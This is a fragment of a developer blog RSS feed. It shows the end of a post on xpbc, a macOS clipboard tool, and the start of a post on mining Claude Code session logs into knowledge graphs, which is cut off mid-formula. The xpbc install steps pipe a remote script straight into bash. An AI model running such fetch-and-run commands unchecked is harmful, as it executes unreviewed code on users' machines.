      &lt;a href="https://github.com/chigichan24" rel="noopener noreferrer"&gt;
        chigichan24
      &lt;/a&gt; / &lt;a href="https://github.com/chigichan24/xpbc" rel="noopener noreferrer"&gt;
        xpbc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;xpbc&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://github.com/chigichan24/xpbc/actions/workflows/test.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/chigichan24/xpbc/actions/workflows/test.yml/badge.svg" alt="Test"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;eXtended PasteBoard Copy&lt;/strong&gt; — a drop-in enhancement for macOS &lt;code&gt;pbcopy&lt;/code&gt; that supports images.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pbcopy&lt;/code&gt; only handles text. &lt;code&gt;xpbc&lt;/code&gt; automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like &lt;code&gt;pbcopy&lt;/code&gt;.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Quick Start&lt;/h2&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Copy an image to the clipboard&lt;/span&gt;
cat screenshot.png &lt;span class="pl-k"&gt;|&lt;/span&gt; xpbc

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Copy text (same as pbcopy)&lt;/span&gt;
&lt;span class="pl-c1"&gt;echo&lt;/span&gt; &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;hello&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt; &lt;span class="pl-k"&gt;|&lt;/span&gt; xpbc

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Paste with Cmd+V in any app&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;

&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Installer script&lt;/h3&gt;

&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh &lt;span class="pl-k"&gt;|&lt;/span&gt; bash&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;To install to a custom directory:&lt;/p&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh &lt;span class="pl-k"&gt;|&lt;/span&gt; bash -s -- /your/custom/path&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The default install directory is &lt;code&gt;~/.local/bin&lt;/code&gt;.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;From source&lt;/h3&gt;

&lt;/div&gt;

&lt;p&gt;Requires Swift 6.0+ and macOS 13+.&lt;/p&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;git clone https://github.com/chigichan24/xpbc.git
&lt;span class="pl-c1"&gt;cd&lt;/span&gt; xpbc
make install PREFIX=&lt;span class="pl-k"&gt;~&lt;/span&gt;/.local&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Usage&lt;/h2&gt;

&lt;/div&gt;

&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pipe any data into &lt;code&gt;xpbc&lt;/code&gt; via stdin. It automatically detects the format and copies accordingly.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Examples&lt;/h3&gt;

&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Images — detected&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/chigichan24/xpbc" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Issues and PRs are welcome! If this sounds interesting, give it a ⭐ on GitHub.&lt;/p&gt;

</description>
      <category>cli</category>
      <category>tutorial</category>
      <category>swift</category>
    </item>
    <item>
      <title>Mining Hidden Skills from Claude Code Session Logs with Semantic Knowledge Graphs</title>
      <dc:creator>Kazuki Chigita</dc:creator>
      <pubDate>Wed, 18 Mar 2026 16:47:24 +0000</pubDate>
      <link>https://dev.to/chigichan24/mining-hidden-skills-from-claude-code-session-logs-with-semantic-knowledge-graphs-2em8</link>
      <guid>https://dev.to/chigichan24/mining-hidden-skills-from-claude-code-session-logs-with-semantic-knowledge-graphs-2em8</guid>
      <description>&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;If you use Claude Code (or any LLM-based coding agent) daily, you've probably noticed yourself repeating similar workflows. The natural next step is: &lt;em&gt;Can we turn these into reusable Skills?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The conventional path is: &lt;strong&gt;document your knowledge → codify it into a Skill → deploy&lt;/strong&gt;. But in practice, the first step — articulating tacit knowledge as formal documentation — is where most people get stuck. You know &lt;em&gt;what&lt;/em&gt; you do, but writing it down precisely enough for an agent to replicate is surprisingly hard.&lt;/p&gt;

&lt;p&gt;Here's the key insight: &lt;strong&gt;your session logs already contain that knowledge&lt;/strong&gt;. Every time you correct the agent, choose a specific tool sequence, or guide a workflow, you're implicitly recording your decision-making process. The question is how to extract it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/chigichan24/crune" rel="noopener noreferrer"&gt;crune&lt;/a&gt; is the tool I built to answer that question. It analyzes Claude Code JSONL session logs, builds a semantic knowledge graph across sessions, detects recurring workflow patterns, and surfaces Skill candidates — all without requiring you to write documentation first.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkddemcttkseh2je608dw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkddemcttkseh2je608dw.png" alt="crune knowledge graph visualization"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sessions clustered into topics with multi-signal edges&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture Overview
&lt;/h2&gt;

&lt;p&gt;crune has two parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data pipeline&lt;/strong&gt; (&lt;code&gt;scripts/&lt;/code&gt;): Reads JSONL session files → extracts features → builds knowledge graph → generates Skill candidates → outputs JSON&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Frontend&lt;/strong&gt; (&lt;code&gt;src/&lt;/code&gt;): React SPA with three views — Session List, Session Playback, and Knowledge Graph&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The core pipeline follows this flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Feature Extraction ─┐
  1. TF-IDF          │
  2. Tool-IDF        ├→ Combined Matrix → SVD → Clustering → Topic Nodes → Edges → Louvain → Brandes
  3. Structural      │
────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Let me walk through each stage.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 1: Multi-Signal Feature Extraction
&lt;/h2&gt;

&lt;p&gt;Each session is represented by three independent feature vectors, each L2-normalized before combination.&lt;/p&gt;
&lt;h3&gt;
  
  
  Text Features (TF-IDF)
&lt;/h3&gt;

&lt;p&gt;For each session, I concatenate user prompts, assistant responses, edited file paths, and git branch names, then tokenize with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CamelCase splitting (&lt;code&gt;sessionPlayback&lt;/code&gt; → &lt;code&gt;session&lt;/code&gt;, &lt;code&gt;playback&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;snake_case / kebab-case splitting&lt;/li&gt;
&lt;li&gt;File path segment extraction (excluding extensions and short segments)&lt;/li&gt;
&lt;li&gt;English/Japanese stop word removal&lt;/li&gt;
&lt;li&gt;Noise filtering (UUIDs, hex strings ≥ 6 chars, pure numbers, tokens &amp;gt; 40 chars)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vectorization uses sublinear TF-IDF:&lt;/p&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;tf(t,d)=log⁡(1+count(t,d))
\text{tf}(t, d) = \log(1 + \text{count}(t, d))
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;tf&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;t&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;d&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mop"&gt;lo&lt;span&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;+&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;count&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;t&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;d&lt;/span&gt;&lt;span class="mclose"&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;




&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;idf(t)=log⁡(Ndf(t))
\text{idf}(t) = \log\left(\frac{N}{\text{df}(t)}\right)
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;idf&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;t&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mop"&gt;lo&lt;span&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="minner"&gt;&lt;span class="mopen delimcenter"&gt;&lt;span class="delimsizing size3"&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;df&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;t&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose delimcenter"&gt;&lt;span class="delimsizing size3"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;Vocabulary is filtered to terms appearing in ≥ 2 documents and ≤ 80% of all documents.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool Usage Features (Tool-IDF)
&lt;/h3&gt;

&lt;p&gt;Tool usage counts across main turns and subagent turns are weighted by IDF to suppress ubiquitous tools:&lt;/p&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;w(tool,s)=log⁡(1+count)×idf(tool)
w(\text{tool}, s) = \log(1 + \text{count}) \times \text{idf}(\text{tool})
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;w&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;tool&lt;/span&gt;&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;s&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mop"&gt;lo&lt;span&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;+&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;count&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;×&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;idf&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;tool&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;



&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;idf(tool)=log⁡(Ndf(tool))
\text{idf}(\text{tool}) = \log\left(\frac{N}{\text{df}(\text{tool})}\right)
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;idf&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;tool&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mop"&gt;lo&lt;span&gt;g&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="minner"&gt;&lt;span class="mopen delimcenter"&gt;&lt;span class="delimsizing size3"&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;df&lt;/span&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;tool&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;N&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose delimcenter"&gt;&lt;span class="delimsizing size3"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;A session that uses &lt;code&gt;Agent&lt;/code&gt; 3 times gets a higher weight for that tool than one using &lt;code&gt;Read&lt;/code&gt; 100 times — because &lt;code&gt;Agent&lt;/code&gt; usage is rarer and more distinctive.&lt;/p&gt;

&lt;h3&gt;
  
  
  Structural Features (7-dimensional)
&lt;/h3&gt;

&lt;p&gt;A fixed-length vector capturing the &lt;em&gt;shape&lt;/em&gt; of each session:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dim&lt;/th&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;userRatio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Proportion of user input turns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;assistantRatio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Proportion of assistant response turns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;toolCallRatio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fraction of turns containing tool calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;subagentRatio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Subagent involvement: (Agent turns + subagent count) / total turns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;avgToolsPerTurn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;log(1 + total_tools / total_turns)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;editHeaviness&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(Edit + Write) / total tool calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;readHeaviness&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(Read + Grep + Glob) / total tool calls&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Step 2: Latent Space via Truncated SVD
&lt;/h2&gt;

&lt;p&gt;The three feature vectors are concatenated with sqrt-weighted coefficients:&lt;/p&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;xi=[  0.50  ti,0.25  ui,0.25  si  ]
\mathbf{x}_i = \Big[\; \sqrt{0.50}\;\mathbf{t}_i, \quad \sqrt{0.25}\;\mathbf{u}_i, \quad \sqrt{0.25}\;\mathbf{s}_i \;\Big]
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathbf"&gt;x&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="delimsizing size2"&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;0.50&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathbf"&gt;t&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;0.25&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathbf"&gt;u&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;0.25&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathbf"&gt;s&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="delimsizing size2"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


